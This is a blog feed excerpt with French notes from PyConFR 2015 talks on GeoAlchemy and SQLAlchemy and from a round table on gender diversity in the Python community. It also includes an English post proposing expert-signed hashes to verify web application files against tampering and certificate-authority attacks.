&lt;div class="section" id="orm"&gt;
&lt;h3&gt;ORM&lt;/h3&gt;
&lt;p&gt;L'ORM fait, lui, du mapping. C'est cette couche que l'on va utiliser dans une
application Web complexe par exemple.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;il est possible de travailler avec une session &lt;cite&gt;Session()&lt;/cite&gt; puis on effectue
des opérations et on &lt;cite&gt;commit()&lt;/cite&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="section" id="geoalchemy"&gt;
&lt;h4&gt;GeoAlchemy&lt;/h4&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Créé en 2009, pour supporter uniquement postgis.&lt;/li&gt;
&lt;li&gt;Depuis, d'autres bases de données (MySQL, Spatialite, MySQL server) etc.&lt;/li&gt;
&lt;li&gt;Réécriture depuis grace à la nouvelle API de SQLAlechemy, mais perte du
support d'autres backends.&lt;/li&gt;
&lt;li&gt;Finalement, retour sur POSTGIS uniquement, pour évite d'avoir à supporter les
différences de tous les backends.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="features"&gt;
&lt;h2&gt;Features&lt;/h2&gt;
&lt;p&gt;Très simple de s'intégrer avec les features de POSTGIS, par exemple en
déclarant une colonne en tant que &amp;quot;Géometrie&amp;quot;.&lt;/p&gt;
&lt;p&gt;Exemple: session.query(Lake).filter(Lake.geom.ST_Buffer(2).ST_Area) permet de
lister l'ensemble des lacs avec une aire de 2 au moins.&lt;/p&gt;
&lt;p&gt;S'intègre bien avec des services existants (shapely, pyramid, etc).&lt;/p&gt;
&lt;p&gt;Utilisation de geojsondumps pour representer des features en geojson.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="status"&gt;
&lt;h2&gt;Status&lt;/h2&gt;
&lt;p&gt;Le projet est completement documenté sur read the docs. La documentation est
assez complete et solide. Il est intégralement testé, sur differentes versions
de python, sqlalchemy et postgres.&lt;/p&gt;
&lt;dl class="docutils"&gt;
&lt;dt&gt;3 ou 4 developeurs actifs sur le projet, ça fonctionne plutôt bien. Pour&lt;/dt&gt;
&lt;dd&gt;&lt;p class="first"&gt;contribuer, il est possible de faire cela sur github.&lt;/p&gt;
&lt;p class="last"&gt;Slides de la presentation sur &lt;a class="reference external" href="http://erliem.net/talks/pyconfr2015"&gt;http://erliem.net/talks/pyconfr2015&lt;/a&gt;&lt;/p&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;Resources:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="https://pypi.python.org/pypi/Shapely"&gt;https://pypi.python.org/pypi/Shapely&lt;/a&gt; - Manipulation and analysis of geometric
objects in the Cartesian plane.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Question:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Dans les exemples geoalchemy, les données geométriques sont passées sous
forme de chaine. Est-ce normal ? Oui.&lt;/li&gt;
&lt;li&gt;Les rasters sont également supportés.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
</content></entry><entry><title>PyconFR 2015 — SQL Alchemy</title><link href="https://blog.notmyidea.org/pyconfr-2015-sql-alchemy.html" rel="alternate"></link><published>2015-10-17T00:00:00+02:00</published><updated>2015-10-17T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2015-10-17:/pyconfr-2015-sql-alchemy.html</id><summary type="html">&lt;div class="admonition note"&gt;
&lt;p class="first admonition-title"&gt;Note&lt;/p&gt;
&lt;p class="last"&gt;Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas
à les completer si besoin.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Speaker: David Allouche&lt;/p&gt;
&lt;p&gt;SQL Alchemy vous permet de produire le SQL que vous voulez. Il faut que vous
souhaitiez comprendre ce que va etre produit.&lt;/p&gt;
&lt;p&gt;Déclaratif:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;On créé des classes qui representent …&lt;/li&gt;&lt;/ul&gt;</summary><content type="html">&lt;div class="admonition note"&gt;
&lt;p class="first admonition-title"&gt;Note&lt;/p&gt;
&lt;p class="last"&gt;Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas
à les completer si besoin.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Speaker: David Allouche&lt;/p&gt;
&lt;p&gt;SQL Alchemy vous permet de produire le SQL que vous voulez. Il faut que vous
souhaitiez comprendre ce que va etre produit.&lt;/p&gt;
&lt;p&gt;Déclaratif:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;On créé des classes qui representent nos tables, et les liaisons entre les
tables, en utilisant &lt;cite&gt;relationship&lt;/cite&gt; (qui à énormement d'attributs).&lt;/li&gt;
&lt;li&gt;On définit quelles osnt les clés étrangères entre les tables.&lt;/li&gt;
&lt;li&gt;Puis on va définir les attributs qui sont liés entre les tables
(relationship).&lt;/li&gt;
&lt;li&gt;Pour définir des relations entre les Tables, il est possible d'utiliser des
chaines de caractère &lt;cite&gt;relationship('OtherTable')&lt;/cite&gt;.&lt;/li&gt;
&lt;li&gt;La session es tun concept important.&lt;/li&gt;
&lt;li&gt;Lire efficacement. Attention à ne pas faire énormement de requetes avec
L'ORM.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Performance SQL&lt;/strong&gt;&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Générer le SQL (python)&lt;/li&gt;
&lt;li&gt;Ne pas faire énormement de petites requetes.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Il est possible de demander à la session de charger les données qui sont
associées. (avec un joinedload). Par defaut, cela risque de charger
l'ensemble des colonnes.&lt;/p&gt;
&lt;p&gt;Pour la générer avec SQLAlchemy, il est possible de faire un
&lt;cite&gt;.query(Table).join(Table).join(Table2).filter_by(field=value)&lt;/cite&gt;&lt;/p&gt;
&lt;p&gt;En pratique, le mieux est de lister clairemnet le nom des tables&lt;/p&gt;
&lt;p&gt;2ème partie:&lt;/p&gt;
&lt;p&gt;Pour de l'import de données,&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;first() fait une requete SQL. A éviter dans les boucles&lt;/li&gt;
&lt;li&gt;session.flush() c'est quand la session écrit en base tout ce qui est en cours
dans la transaction. Par default, la session fait un flush avant chaque
requete.&lt;/li&gt;
&lt;li&gt;une option backçpopulates mets à jour la liste des documents associés à une
table qui à une foreign key.
backref modifie implicitement la classe associée. Il est recommandé
d'utiliser &lt;cite&gt;back_populates&lt;/cite&gt; et non pas &lt;cite&gt;backref&lt;/cite&gt;.&lt;/li&gt;
&lt;li&gt;&lt;cite&gt;subqueryload&lt;/cite&gt; permet de générer une requete séparée plutôt qu'une jointure.&lt;/li&gt;
&lt;/ul&gt;
</content></entry><entry><title>PyconFR 2015 — Table ronde diversité</title><link href="https://blog.notmyidea.org/pyconfr-2015-table-ronde-diversite.html" rel="alternate"></link><published>2015-10-17T00:00:00+02:00</published><updated>2015-10-17T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2015-10-17:/pyconfr-2015-table-ronde-diversite.html</id><summary type="html">&lt;div class="admonition note"&gt;
&lt;p class="first admonition-title"&gt;Note&lt;/p&gt;
&lt;p class="last"&gt;Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas
à les completer si besoin.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;em&gt;Prise de notes: Gordon et Alexis&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Présent·e·s: Jean Phillipe, Laurence (Directrice de l'école qui acueille la
Pycon), Amandine, Vivianne, Anna (de django carrots) + representes de django
girls bordeaux (Laurenne et …&lt;/strong&gt;&lt;/p&gt;</summary><content type="html">&lt;div class="admonition note"&gt;
&lt;p class="first admonition-title"&gt;Note&lt;/p&gt;
&lt;p class="last"&gt;Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas
à les completer si besoin.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;em&gt;Prise de notes: Gordon et Alexis&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Présent·e·s: Jean Phillipe, Laurence (Directrice de l'école qui acueille la
Pycon), Amandine, Vivianne, Anna (de django carrots) + representes de django
girls bordeaux (Laurenne et Alexia).&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;JP — Pourquoi&lt;/strong&gt;:On a eu une discussion sur la ML de l'AFPy suite à une décision
de l'afpy de ne pas financer un évènement qui n'était pas ouvert à tous-tes
(restreint aux femmes et personnes trans). Cette décision à été prise
conformément a la charte de l'AFPY qui dit que les evènements promus sont
ouverts à tous. Ce qui veut dire que cela n'inclue pas les évènement exclusifs.
(Je n'ai jamais demandé de financement à l'AFPY. J'ai juste demandé la
diffusion sur la mailing interne de la création de Pyladies Paris. Je ne sais
pas d'où vient cette histoire de financement! Pyladies Paris)&lt;/p&gt;
&lt;p&gt;Suite à ça, une modification de la charte à été proposée. Demain matin, la
modification de la charte sera proposée lors de l'AG. Suite à la proposition de
modification, les discussions se sont enchainées, avec des points de vue
divergents. Cette table ronde vient donc dans ce contexte.
I
BD d'introduction:
&lt;a class="reference external" href="http://www.commitstrip.com/fr/2015/09/17/meanwhile-in-a-parallel-universe-2/"&gt;http://www.commitstrip.com/fr/2015/09/17/meanwhile-in-a-parallel-universe-2/&lt;/a&gt;&lt;/p&gt;
&lt;div class="section" id="tour-de-presentation"&gt;
&lt;h2&gt;Tour de présentation:&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Laurence directrice de l'école qui accueille d'évènement, docteure en Maths.
Contente de voir que la tendance s'inverse un peu (de plus en plus de filles).&lt;/li&gt;
&lt;li&gt;Vivianne, maitre de conférence en informatique à paris sud. Études dans un
milieu assez masculin. Dans le domaine du developpement pour la recherche, ou
des environnements techniques, c'est très masculin. Essaye de voir comment
faire pour que les filles s'intéressent plus a l'informatique.&lt;/li&gt;
&lt;li&gt;Amandine Neyrolle, diplomée d'école de commerce (plutot 50% fille/garcon dans
ces fillières). Intégrée le monde de l'informatique par la suite en autodidacte
et formations. Rencontré la créatrice de pyladies et discuté de ces questions.&lt;/li&gt;
&lt;li&gt;Laurenne Chelan, organistrice des django girls bdx. Nouvelle dans cet
univers. Travaille dans des musées de science depuis quelques années. L'idée de
dj girs bdx part de l'idée de découvrir le code. Les djangogirls viennent de
berlin, créé par ???.&lt;/li&gt;
&lt;li&gt;Alexia Sumois. organisatrice de django girls bdx. Nouvelle dans le milieu du
code. Les conférences d'aujourd'hui on donné envie d'apprendre.&lt;/li&gt;
&lt;li&gt;Anna, créatrice de 4ideas. Essaye de faire en sorte que plus de femmes
viennent dans l'IT. En reconversion pro. Choisi ce domaine il ya un an. Trouve
que ce sujet est vraiment extremement important, et sur lequel il est possible
de faire quelque chose, et d'influencer positivement. L'idée étant de
démystifier l'IT, et laisser le choix aux femmes de choisir cette profession.&lt;/li&gt;
&lt;li&gt;Jean Phillipe Campguillhem, secrétaire de l'AFPY&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="pourquoi-django-girls"&gt;
&lt;h2&gt;Pourquoi Django Girls ?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Alexia&lt;/strong&gt; — Le déclencheur de cette aventure vient des goodies (!). La décoration
de l'évènement a attiré l'attention et donné envie de creuser.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Laurenne&lt;/strong&gt; — Cest pour ça quon se pose la question « comment attirer ces
publics, ces personnes-là ? », importance de limage quon renvoie. Ce nest
pas tant une question de genre, mais dinitié·e·s : on a souvent peur dentrer
dans ce milieu. Django-girls vise une plus grande bienveillancet Carte de la
convivialité, chaleureux, et facile d'accès pour les débutants. Tout est livré
clé en main, et l'évènement est facile à prendre en main. Le 28 oct à bordeau,
recherche de coachs / sponsors pour l'évènement.
&lt;a class="reference external" href="http://djangogirls.com/bordeaux"&gt;http://djangogirls.com/bordeaux&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Laurence&lt;/strong&gt; — Aspect macho présent dans la communication de lécole (pas
forcément explicite). « On a toujours dessiné des symboles de métiers
identifiés par des garçons »&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Laurenceu&lt;/strong&gt; — Il y a une partie d'inconscient dans l'ensemble de
l'enseignement qui est donné. Il y a peu de candidates qui essayent. Pas
question de discrimination positive puisque cela a des effets indésirables
(communautarisme). La question est tout de meme posée, mais il est impensable
d'accepter des gens grace / a cause de leur genre. L'ambiance change lorsqu'il
y a de la mixité. À la recherche didées pour faire venir plus de candidates.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Viviane&lt;/strong&gt; — En tant que femme, on reçoit en permanence le message que ce
métier nest pas fait pour nous. Ces messages ont un impact, le résultat est
que les filles ne vont pas dans les écoles dinformatiques. Il faut aller
convaincre les jeunes filles que cest aussi fait pour elles. Ça passe par
changer les plaquettes. Il faut réussir à changer l'image existante des confs /
communautés. Un développeur peut aussi etre une développeuse. Dans l'assemblée,
on se rend compte que certaines femmes sont en dehors du parcours. Il faut
qu'en tant que communauté on soit capables d'accueillir les nouvelles /
nouveaux. Cest en ayant une diversité quon parviendra à changer limage du
métier. Les rencontres pyladies permettent aussi de rencontrer d'autres femmes
qui ont les mêmes problématiques. Accompagner les nouvelles entrantes pour
trouver du boulot, découvrir l'AFPY et les initatives existantes. Les
initiatives existantes django girls / pyladies est très important.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Amandine&lt;/strong&gt; — Cest pourquoi ce genre dévènements non-mixtes permet de faire
des séances de rattrapage pour permettre dintégrer la communauté dans son
ensemble. Cest le point clé pour faire accepter ce genre dinitiatives.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Laurenne&lt;/strong&gt; — DjangoGirls et Django Carrots ne sont pas des évènements
excluants. Ils sont simplement orientés en priorité aux femmes. Sur la question
de « comment amener des jeunes filles vers ces études-là », ça se joue bien
avant, dans lenfance, bien avant lécole. cf les jeux genrés. Il faut
travailler à ce niveau-là.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Anna&lt;/strong&gt; — Pour illustrer ce que dit Laurenne, l'importance des clichés
existants. Avant le mi-80s, il y avait autant de femmes que dans d'autres
domaines. Si on regarde les stats, dans tousles autres domaines, le pourcentage
de femmes augmente. Et en IT, en 84 il y a un pic qui inverse la tendance. Ce
sont des stats américaines. A priori cela s'applique aussi en Europe. En IT, la
culture qui à été créé autour des hackers qui ont des super pouvoirs, mangent
des pizzas, etc. Ces clichés ont influencé le monde. Nous ne sommes pas
complètement autonomes, et nous sommes influencés par la culture autour de
nous. Les dommages qui ont été fait dans le domaine de l'IT sont graves, et il
est important de renverser la tendance. La question de l'image est centrale.
Les personnes ont besoin de place pour faire leurs évènements. Il est important
de comprendre et respecter que les autres veuillent faire de la discrimination
positive. Ce sont des actions qui sont supportées par la France. Ce sont des
valeurs qui sont beaucoup lus fortes en France qu'ailleurs (Anna souligne
qu'elle est Polonaise). On devrait respecter ce droit.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Vivianne&lt;/strong&gt; — Certaines evènements sont non-mixtes (pour les personnes qui
s'identifient comme des femmes). Ce ne doit pas etre les seules initiatives.
Elle est pour la mixté. PyLadies est assez spécifique : ce nest pas de la
formation, mais principalement des évènements tournés autour du réseau. Il est
important d'avoir un endroit ou les jeunes femmes seront moins imprésionnées.
Les situations exposées dans la BD sont réelles. De se retrouver dans un
environnement où elles sont sûres quelles ne subiront pas de micro-agressions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Laurence&lt;/strong&gt; — Témoignage d'une mère qui dit à sa fille, en passant devant un
panneau de l'école, mentionnant maths et informatique, et qui dit à sa fille «
oh non, c'est pas pour toi ça » . On dit « attention les garçons, vous devez
être sympas avec les filles ». Les garçons ont envie que ça se passe bien avec
les filles.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;JP&lt;/strong&gt; — Sans revenir sur les décisions qui ont été prises, nous n'avons pas
dit que nous étions contre ces évènements (à l'AFPY). A plusieurs reprises,
j'ai du faire des blagues sexistes. Évidemment qu'on est mieux ensemble. Pour
revenir sur la discussion de la mailing-list, je me suis rendu compte que
j'avais un regard biaisé. Si on en est la, c'est quil y a énormement de
travail. Que faire, du coup ? En tant qu'hommes ? Qu'association ? Si il est
necessaire de créer une zone de confort / sécurité, c'est qu'il y a une zone
d'inconfort / insécurité qui est forte. Les couleurs, les jolis goodies, sont
le sommet de liceberg. Rappel de l'éxistence du Code of Conduct : il y a déjà
eu des incidents par le passé. On passe la parole à Florent, qui est à
lorigine du CoC. Remerciement envers les intervenantes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Florent (vice secrétaire de l'AFPY)&lt;/strong&gt; — Comme le dit JP, un code of conduct
est affiché devant toutes les portes et à l'entrée. Tout le monde naimait pas
forcément lidée den avoir, on a fini par trancher. Le but est davoir des
endroits safes. Avant davoir un CoC, on ne peut pas dire quon soit safes,
envers l'ensemble des minorités. On a écrit le CoC en conséquence des
agressions. Aujourdhui, pas de tolérance pour des comportements qui nont pas
lieu dêtre (quon a définis comme tels). Ça fonctionne sur la dénonciation
lorsque lon est témoin de ça. On na pas vraiment de mal à rencontrer des
femmes, mais plus de mal à faire comprendre quelles sont bienvenues. Impact
important de blagues sexistes, quon défend comme « cest pour rire ». Merci de
lire le Code of Conduct. Les blagues sexistes etc. ne sont pas les bienvenues.
Merci de réagir lors de ces cas.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="questions"&gt;
&lt;h2&gt;Questions.&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Questiond de Gawel&lt;/strong&gt;: Question pour Amandine. Est-ce que tu te sens bien à l'AFPY ? Si non, que faire pour que tu te sente mieux ?&lt;/p&gt;
&lt;p&gt;Amandine — Oui je me sens bien, est-ce quil y a eu des évènements ? oui, sans
doute mais jy suis aguerrie, donc je me rends peu compte. Quest-ce quon peut
faire ? Lidée du CoC est daller à lencontre des comportements négatifs, mais
lidée derrière est une ouverture à la différence dans son ensemble, promouvoir
louverture à lautre et à la différence. Lenjeu culturel est darriver à
changer détat desprit et didentifier ces biais cognitifs. Il faudrait pas
quon se dise « ho là là, il y a une fille, faut rien dire sinon je vais me
faire taper » Il faut cultiver la différence. et être curieux/se.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt; : « cest pas fait pour moi », mais plutôt « je suis mauvais, donc
je dois travailler », on en revient à limportance de léducation. Il faut
continuer de pointer du doigt les problèmes. Je suis aussi membre dun LUG,
nous sommes entre hommes diplomés blancs de 30 à 40 ans. La réflexion sur les
plaquettes pas accueillantes est pertinente : le site de lasso est très
masculin.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Question de Bruno&lt;/strong&gt;. Pour lécole: quand jétais étudiant, 20% de filles.
(Aujourdhui on est partis de 7/8% pour arriver à 15%). Est-ce que les filles
réussissent plus ?&lt;/p&gt;
&lt;p&gt;Laurence — on na pas de stats, mais elles posent moins de problèmes. Les
filles sont favorisées par les employeurs.&lt;/p&gt;
&lt;p&gt;Vivianne — la motivation des filles à la sortie est identique aux garçons, mais
tout nest pas rose. En entretien par exemple, ils sont faits par des hommes,
mais au niveau des stats, le nombre de femmes qui quittent le milieu est
important. Effort à faire au niveau de la communauté, des entreprises. Schémas
masculins, mais sur le long terme, on subit des agressions. Difficile de rester
dans le métier et faire une carrière intéressante, à compétences/motivation
identiques aux hommes. Il faut en avoir conscience&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Question de Benoit&lt;/strong&gt;: il y a peut-être une façon de créer des
lieux/évènements protégés, en utilisant ceux qui existent déjà. Est-ce quon
peut aller organiser des évènements dans des écoles/lycées, des endroits où les
gens se sentent déjà à laise, où les populations sont plus représentées ?&lt;/p&gt;
&lt;p&gt;Vivianne — ça se fait. En tant quenseignante, dès que jai une occasion, que
ce soit pour aller chercher des JF ou des étudiants maths/infos, même si cest
ouvert à tous, je le fais. Si cest que des hommes, les femmes nont pas envie
dy aller.&lt;/p&gt;
&lt;p&gt;Laurenne — cest quelque chose qui se fait beaucoup. On met en avant des femmes
chercheuses dès quon le peut.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Question d'Alexis&lt;/strong&gt; : je suis très content quil y ait cette discussion qui
se fasse. Question par rapport aux discriminations positives, quon a pu voir
par le passé (notamment lors de conférences). Difficile de dire « on va
préférer des femmes ». Question irrésolue, parce que pour faire évoluer, on a
besoin d'initier quelque chose, dessayer. Mais ça a un côté dérangeant.&lt;/p&gt;
&lt;p&gt;Vivianne — à la PyCon (US), jai été impressionnée du nombre de femmes qui
parlaient. On va pas mettre un quota, ça serait stupide, on va forcer personne.
Mais il faut en avoir conscience. Cette année, on est 4 oratrices, ya du
travail à faire. En tant quhommes, il faut aussi se mettre en retrait et
inviter des femmes à en parler à notre place. Faire le pas d'aller faire un
exposé dans une communauté où on ne se sent pas à sa place (même si on lutte
contre) est difficile. Inviter des gens, sans forcément passer par un énorme
processus. Ça passe par des events comme PyLadies.&lt;/p&gt;
&lt;p&gt;Anna — pour les personnes par encore convaincues, juste apres le droit de vote
des femmes en 46, à l'assemblée nationale il y avait très peu de femmes. Puis
en 93, 6.1% apres que des mesures aient été prises. Ensuite de femmes puis vers
20% Les choses ne vont pas se changer toutes seules. Il est necessaire d'avoir
du temps pour faire évoluer les choses. Il est important de noter que PyconFR
fait déjà des choses. Et lors de django carrots, je me suis sentie très
accueillie. J'ai eu beaucoup de très bonnes expériences avec des personnes qui
étaient prêtes à aider.&lt;/p&gt;
&lt;p&gt;JP — Remerciement pour Rémy qui abat un travail de ouf. C'est grace à Rémy si
il y a django carrots demain. Il faut faire des choses. :-) Merci !&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>Web distribution signing</title><link href="https://blog.notmyidea.org/web-distribution-signing.html" rel="alternate"></link><published>2015-10-12T00:00:00+02:00</published><updated>2015-10-12T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2015-10-12:/web-distribution-signing.html</id><summary type="html">&lt;div class="admonition note"&gt;
&lt;p class="first admonition-title"&gt;Note&lt;/p&gt;
&lt;p class="last"&gt;I'm not a crypto expert, nor pretend to be one. These are thoughts
I want to share with the crypto community to actually see if any
solution exists to solve this particular problem.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;One &lt;a class="reference external" href="http://www.tonyarcieri.com/whats-wrong-with-webcrypto"&gt;often pointed&lt;/a&gt;
flaw in web-based cryptographic applications is the fact that there is no way …&lt;/p&gt;</summary><content type="html">&lt;div class="admonition note"&gt;
&lt;p class="first admonition-title"&gt;Note&lt;/p&gt;
&lt;p class="last"&gt;I'm not a crypto expert, nor pretend to be one. These are thoughts
I want to share with the crypto community to actually see if any
solution exists to solve this particular problem.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;One &lt;a class="reference external" href="http://www.tonyarcieri.com/whats-wrong-with-webcrypto"&gt;often pointed&lt;/a&gt;
flaw in web-based cryptographic applications is the fact that there is no way
to trust online software distributions. Put differently, you don't actually
trust the software authors but are rather trusting the software distributors
and certificate authorities (CAs).&lt;/p&gt;
&lt;p&gt;I've been talking with a few folks in the past months about that and they
suggested me to publish something to discuss the matter. So here I come!&lt;/p&gt;
&lt;div class="section" id="the-problem-attack-vectors"&gt;
&lt;h2&gt;The problem (Attack vectors)&lt;/h2&gt;
&lt;p&gt;Let's try to describe a few potential attacks:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Application Authors&lt;/em&gt; just released a new version of their open source web
crypto messaging application. An &lt;em&gt;Indie Hoster&lt;/em&gt; installs it on their servers so
a wide audience can actually use it.&lt;/p&gt;
&lt;p&gt;Someone alters the files on &lt;em&gt;Indie Hoster&lt;/em&gt; servers, effectively replacing them with
other &lt;em&gt;altered files&lt;/em&gt; with less security properties / a backdoor. This someone could either be
an &lt;em&gt;Evil Attacker&lt;/em&gt; which found its way trough, the &lt;em&gt;Indie Hoster&lt;/em&gt; or a CDN
which delivers the files,&lt;/p&gt;
&lt;p&gt;Trusted &lt;em&gt;Certificate Authorities&lt;/em&gt; (&amp;quot;governments&amp;quot; or &amp;quot;hacking team&amp;quot;) can also
trick the User Agents (i.e. Firefox) into thinking they're talking to &lt;em&gt;Indie
Hoster&lt;/em&gt; even though they're actually talking to a different server.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Altered files&lt;/strong&gt; are then being served to the User Agents, and &lt;em&gt;Evil Attacker&lt;/em&gt;
now has a way to actually attack the end users.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="problem-mitigation"&gt;
&lt;h2&gt;Problem Mitigation&lt;/h2&gt;
&lt;p&gt;Part of the problem is solved by the recently introduced &lt;a class="reference external" href="https://w3c.github.io/webappsec/specs/subresourceintegrity/"&gt;Sub Resource
Integrity&lt;/a&gt;
(SRI). To quote them: &amp;quot;[it] defines a mechanism by which user agents may verify
that a fetched resource has been delivered without unexpected manipulation.&amp;quot;.&lt;/p&gt;
&lt;p&gt;SRI is a good start, but isn't enough: it ensures the assets (JavaScript files,
mainly) loaded from a specific HTML page are the ones the author of the HTML
page intends. However, SRI doesn't allow the User Agent to ensure the HTML page
is the one he wants.&lt;/p&gt;
&lt;p&gt;In other words, we miss a way to create trust between &lt;em&gt;Application Authors&lt;/em&gt; and
&lt;em&gt;User Agents&lt;/em&gt;. The User-Agent currently has to trust the &lt;em&gt;Certificate
Authorities&lt;/em&gt; and the delivery (&lt;em&gt;Indie Hoster&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;For desktop software distribution: &lt;em&gt;Crypto Experts&lt;/em&gt; audit the software, sign it
somehow and then this signature can be checked locally during installation or
runtime. It's not automated, but at least it's possible.&lt;/p&gt;
&lt;p&gt;For web applications, we don't have such a mechanism, but it should be
possible. Consider the following:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;em&gt;App Authors&lt;/em&gt; publish a new version of their software; They provide a hash of
each of their distributed files (including the HTML files);&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Crypto Experts&lt;/em&gt; audit these files and sign the hashes somehow;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;User Agents&lt;/em&gt; can chose to trust some specific &lt;em&gt;Crypto Experts&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;When a &lt;em&gt;User Agent&lt;/em&gt; downloads files, it checks if they're signed by a trusted
party.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="chosing-who-you-trust"&gt;
&lt;h2&gt;Chosing who you trust&lt;/h2&gt;
&lt;p&gt;In terms of user experience, handling certificates is hard, and that's where
the community matters. Distributions such as &lt;a class="reference external" href="https://tails.boom.org"&gt;Tails&lt;/a&gt;
could chose who they trust to verify the files, and issue warnings / refuse to
run the application in case files aren't verified.&lt;/p&gt;
&lt;p&gt;But, as highligted earlier, CAs are hard to trust. A new instance of the same
CA system wouldn't make that much differences, expect the fact that
distributions could ship with a set of trusted authorities (for which
revocation would still need to be taken care of).&lt;/p&gt;
&lt;blockquote class="epigraph"&gt;
&lt;p&gt;[...] users are vulnerable to MitM attacks by the authority, which can vouch
for, or be coerced to vouch for, false keys. This weakness has been
highlighted by recent CA scandals. Both schemes can also be attacked if the
authority does not verify keys before vouching for them.&lt;/p&gt;
&lt;p class="attribution"&gt;&amp;mdash;&lt;a class="reference external" href="http://cacr.uwaterloo.ca/techreports/2015/cacr2015-02.pdf"&gt;SoK : Secure Messaging&lt;/a&gt;;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;It seems that some other systems could allow for something more reliable:&lt;/p&gt;
&lt;blockquote class="epigraph"&gt;
&lt;p&gt;Melara et al proposed CONIKS, using a series of chained commitments to Merkle
prefix trees to build a key directory [...] for which individual users can
efficiently verify the consistency of their own entry in the directory
without relying on a third party.&lt;/p&gt;
&lt;p&gt;This “self- auditing log” approach makes the system partially have no
auditing required (as general auditing of non-equivocation is still required)
and also enables the system to be privacy preserving as the entries in the
directory need not be made public. This comes at a mild bandwidth cost not
reflected in our table, estimated to be about 10 kilobytes per client per day
for self-auditing.&lt;/p&gt;
&lt;p class="attribution"&gt;&amp;mdash;&lt;a class="reference external" href="http://cacr.uwaterloo.ca/techreports/2015/cacr2015-02.pdf"&gt;SoK : Secure Messaging&lt;/a&gt;;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Now, I honestly have no idea if this thing solves the whole problem, and I'm pretty sure
this design has many security problems attached to it.&lt;/p&gt;
&lt;p&gt;However, that's a problem I would really like to see solved one day, so here
the start of the discussion, don't hesitate to &lt;a class="reference external" href="/pages/about.html"&gt;get in touch&lt;/a&gt;!&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="addendum"&gt;
&lt;h2&gt;Addendum&lt;/h2&gt;
&lt;p&gt;It seems possible to increase the level a user has in a Web Application by
adding indicators in the User-Agent. For instance, when using an application
that's actually signed by someone considered trustful by the User-Agent (or the
distributor of the User-Agent), a little green icon could be presented to the
User, so they know that they can be confident about this.&lt;/p&gt;
&lt;p&gt;A bit like User-Agents do for SSL, but for the actual signature of the files
being viewed.&lt;/p&gt;
&lt;/div&gt;
